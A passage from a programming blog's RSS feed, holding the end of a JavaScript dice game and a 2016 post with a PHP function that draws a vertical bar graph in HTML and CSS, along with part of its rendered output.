</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">str</span> <span class="o">+=</span> <span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">str</span> <span class="o">==</span> <span class="s2">&#34;123456&#34;</span><span class="p">)</span> <span class="k">return</span> <span class="nx">cpu_select</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">count</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="nx">count</span> <span class="o">&gt;=</span> <span class="mi">3</span><span class="p">;</span> <span class="nx">count</span><span class="o">--</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="nx">d</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">;</span> <span class="nx">d</span><span class="o">--</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kd">var</span> <span class="nx">face</span> <span class="o">=</span> <span class="nx">d</span> <span class="o">==</span> <span class="mi">7</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="nx">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">str</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="nx">face</span><span class="p">))</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">cpu_select</span><span class="p">(</span><span class="nx">count</span><span class="p">,</span> <span class="nx">face</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">str</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">&#34;1&#34;</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="nx">cpu_select</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">str</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">&#34;5&#34;</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="nx">cpu_select</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">cpu_end</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">cpu_end</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">&gt;=</span> <span class="mi">350</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kd">var</span> <span class="nx">taken</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">taken</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">taken</span> <span class="o">==</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">play</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">cpu</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">stop</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">play</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">cpu</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">draw</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">html</span> <span class="o">=</span> <span class="s1">&#39;&lt;span style=&#34;font-family: sans-serif&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">p</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">player</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;color: &#39;</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="p">(</span><span class="nx">p</span> <span class="o">==</span> <span class="nx">state</span><span class="p">.</span><span class="nx">playing</span> <span class="o">?</span> <span class="s2">&#34;black&#34;</span> <span class="o">:</span> <span class="s2">&#34;silver&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="s1">&#39;;&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;player &#34;</span> <span class="o">+</span> <span class="p">(</span><span class="nx">p</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="nx">state</span><span class="p">.</span><span class="nx">player</span><span class="p">[</span><span class="nx">p</span><span class="p">].</span><span class="nx">points</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">p</span> <span class="o">==</span> <span class="nx">state</span><span class="p">.</span><span class="nx">playing</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;color: &#39;</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">                <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">&gt;=</span> <span class="mi">350</span>
</span></span><span class="line"><span class="cl">                    <span class="o">?</span> <span class="s2">&#34;black&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="o">:</span> <span class="s2">&#34;silver&#34;</span><span class="p">)</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;;&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;+&#34;</span> <span class="o">+</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;/span&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;/span&gt;&lt;br/&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;font-size: 400%&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;color: silver&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&amp;#&#34;</span> <span class="o">+</span> <span class="p">(</span><span class="mi">9855</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;/span&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;a href=&#34;javascript:toggle(&#39;</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="s1">&#39;)&#34; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;style=&#34;color: &#39;</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">                <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span> <span class="o">?</span> <span class="s2">&#34;silver&#34;</span> <span class="o">:</span> <span class="s2">&#34;black&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="s1">&#39;&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&amp;#&#34;</span> <span class="o">+</span> <span class="p">(</span><span class="mi">9855</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;/a&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;br/&gt;&lt;/span&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;br/&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">button_style</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;border: 1px solid silver; padding: .5em; text-decoration: none; color: silver&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;border: 1px solid black; padding: .5em; text-decoration: none; color: black;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;a href=&#34;javascript:take()&#34; style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;&#34;&gt;&amp;#10133; add&lt;/a&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;&#34;&gt;&amp;#10133; add&lt;/span&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;a href=&#34;javascript:play()&#34; style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;&#34;&gt;&amp;#9654; play&lt;/a&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;&#34;&gt;&amp;#9654; play&lt;/span&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">&gt;=</span> <span class="mi">350</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;a href=&#34;javascript:stop()&#34; style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;&#34;&gt;&amp;#9209; stop&lt;/a&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;&#34;&gt;&amp;#9197; next&lt;/span&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;span style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;&#34;&gt;&amp;#9209; stop&lt;/span&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">html</span> <span class="o">+=</span> <span class="s1">&#39;&lt;a href=&#34;javascript:next()&#34; style=&#34;&#39;</span> <span class="o">+</span> <span class="nx">button_style</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;&#34;&gt;&amp;#9197; next&lt;/a&gt; &#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">html</span> <span class="o">+=</span> <span class="s2">&#34;&lt;/span&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;dice_game&#34;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">html</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>It is simple enough to quickly understand and improve. You can also find the
code on <a href="https://github.com/mevdschee/10k-dice-game.js">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Vertical bar graph in HTML&#43;CSS</title>
      <link>https://www.tqdev.com/2016-vertical-bar-graph-in-html-css/</link>
      <pubDate>Thu, 09 Jun 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-vertical-bar-graph-in-html-css/</guid>
      <description>&lt;p&gt;I wanted to display a simple bar graph, but as you know this site does not use
JavaScript nor cross domain requests. I came up with the following PHP function
to make a vertical bar graph using only HTML and CSS to render the graph:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function vertical_bar_graph($values,$height,$title=&#39;&#39;,$description=&#39;&#39;) {
    $real_max = max($values);
    $max = pow(10,ceil(log10($real_max)));
    while ($max/2&amp;gt;$real_max) $max/=2;
    $html = &#39;&amp;lt;div&amp;gt;&#39;;
    $html.= &#39;&amp;lt;div style=&amp;quot;position: relative; clear: both; text-align: center;&amp;quot;&amp;gt;&#39;;
    $html.= $title.&#39;&amp;lt;/div&amp;gt;&#39;;
    for ($i=0;$i&amp;lt;10;$i++) {
        if ($i%2==0) {
            $html.= &#39;&amp;lt;div style=&amp;quot;position: relative; top: &#39;.($i/10*$height).&#39;px; width: 100%;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;div style=&amp;quot;position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;amp;nbsp;&#39;.((1-$i/10)*$max);
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
            $html.= &#39;&amp;lt;div style=&amp;quot;position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;&amp;quot;&amp;gt;&#39;;
            $html.= ((1-$i/10)*$max).&#39;&amp;amp;nbsp;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
        } else {
            $html.= &#39;&amp;lt;div style=&amp;quot;position: relative; top: &#39;.($i/10*$height).&#39;px; width: 100%;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;div style=&amp;quot;position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
        }
    }
    $c = count($values);
    foreach ($values as $key=&amp;gt;$value) {
            $p = round(100*($value/$max));
            $title = is_string($key)?$key.&#39;: &#39;.$value:$value;
            $html.= &#39;&amp;lt;div style=&amp;quot;float: right; width: &#39;.(100/$c).&#39;%; height: &#39;.$height.&#39;px;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;div style=&amp;quot;width: 100%; height: 100%; background-color: #eee;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;a style=&amp;quot;display: block; position: relative; margin: 0 10%; background-color: #aaa; height: &#39;.$p.&#39;%; top: &#39;.(100-$p).&#39;%&amp;quot; title=&amp;quot;&#39;.$title.&#39;&amp;quot;&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/a&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
            $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
    }
    $html.= &#39;&amp;lt;div style=&amp;quot;position: relative; clear:both; border-top: 1px solid #aaa;&amp;quot;&amp;gt;&#39;;
    $html.= $description.&#39;&amp;lt;/div&amp;gt;&#39;;
    $html.= &#39;&amp;lt;/div&amp;gt;&#39;;
    return $html;
}
echo vertical_bar_graph($values,300,&#39;Traffic TQdev.com&#39;,&#39;Unique visitors (y-axis) per day (x-axis)&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output of this graph is:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I wanted to display a simple bar graph, but as you know this site does not use
JavaScript nor cross domain requests. I came up with the following PHP function
to make a vertical bar graph using only HTML and CSS to render the graph:</p>
<pre><code>function vertical_bar_graph($values,$height,$title='',$description='') {
    $real_max = max($values);
    $max = pow(10,ceil(log10($real_max)));
    while ($max/2&gt;$real_max) $max/=2;
    $html = '&lt;div&gt;';
    $html.= '&lt;div style=&quot;position: relative; clear: both; text-align: center;&quot;&gt;';
    $html.= $title.'&lt;/div&gt;';
    for ($i=0;$i&lt;10;$i++) {
        if ($i%2==0) {
            $html.= '&lt;div style=&quot;position: relative; top: '.($i/10*$height).'px; width: 100%;&quot;&gt;';
            $html.= '&lt;div style=&quot;position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;&quot;&gt;';
            $html.= '&amp;nbsp;'.((1-$i/10)*$max);
            $html.= '&lt;/div&gt;';
            $html.= '&lt;div style=&quot;position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;&quot;&gt;';
            $html.= ((1-$i/10)*$max).'&amp;nbsp;';
            $html.= '&lt;/div&gt;';
            $html.= '&lt;/div&gt;';
        } else {
            $html.= '&lt;div style=&quot;position: relative; top: '.($i/10*$height).'px; width: 100%;&quot;&gt;';
            $html.= '&lt;div style=&quot;position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;&quot;&gt;';
            $html.= '&lt;/div&gt;';
            $html.= '&lt;/div&gt;';
        }
    }
    $c = count($values);
    foreach ($values as $key=&gt;$value) {
            $p = round(100*($value/$max));
            $title = is_string($key)?$key.': '.$value:$value;
            $html.= '&lt;div style=&quot;float: right; width: '.(100/$c).'%; height: '.$height.'px;&quot;&gt;';
            $html.= '&lt;div style=&quot;width: 100%; height: 100%; background-color: #eee;&quot;&gt;';
            $html.= '&lt;a style=&quot;display: block; position: relative; margin: 0 10%; background-color: #aaa; height: '.$p.'%; top: '.(100-$p).'%&quot; title=&quot;'.$title.'&quot;&gt;';
            $html.= '&lt;/a&gt;';
            $html.= '&lt;/div&gt;';
            $html.= '&lt;/div&gt;';
    }
    $html.= '&lt;div style=&quot;position: relative; clear:both; border-top: 1px solid #aaa;&quot;&gt;';
    $html.= $description.'&lt;/div&gt;';
    $html.= '&lt;/div&gt;';
    return $html;
}
echo vertical_bar_graph($values,300,'Traffic TQdev.com','Unique visitors (y-axis) per day (x-axis)')
</code></pre>
<p>The output of this graph is:</p>
<div><div style="position: relative; clear: both; text-align: center;">Traffic TQdev.com</div><div style="position: relative; top: 0px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;">&nbsp;2500</div><div style="position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;">2500&nbsp;</div></div><div style="position: relative; top: 30px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;"></div></div><div style="position: relative; top: 60px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;">&nbsp;2000</div><div style="position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;">2000&nbsp;</div></div><div style="position: relative; top: 90px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;"></div></div><div style="position: relative; top: 120px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;">&nbsp;1500</div><div style="position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;">1500&nbsp;</div></div><div style="position: relative; top: 150px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;"></div></div><div style="position: relative; top: 180px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;">&nbsp;1000</div><div style="position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;">1000&nbsp;</div></div><div style="position: relative; top: 210px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;"></div></div><div style="position: relative; top: 240px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #aaa;">&nbsp;500</div><div style="position: absolute; width: 100%; text-align: right; border-top: 1px solid #aaa;">500&nbsp;</div></div><div style="position: relative; top: 270px; width: 100%;"><div style="position: absolute; width: 100%; text-align: left; border-top: 1px solid #ccc;"></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-10: 257" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 10%; top: 90%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-09: 117" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-08: 174" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 7%; top: 93%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-07: 165" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 7%; top: 93%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-06: 170" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; 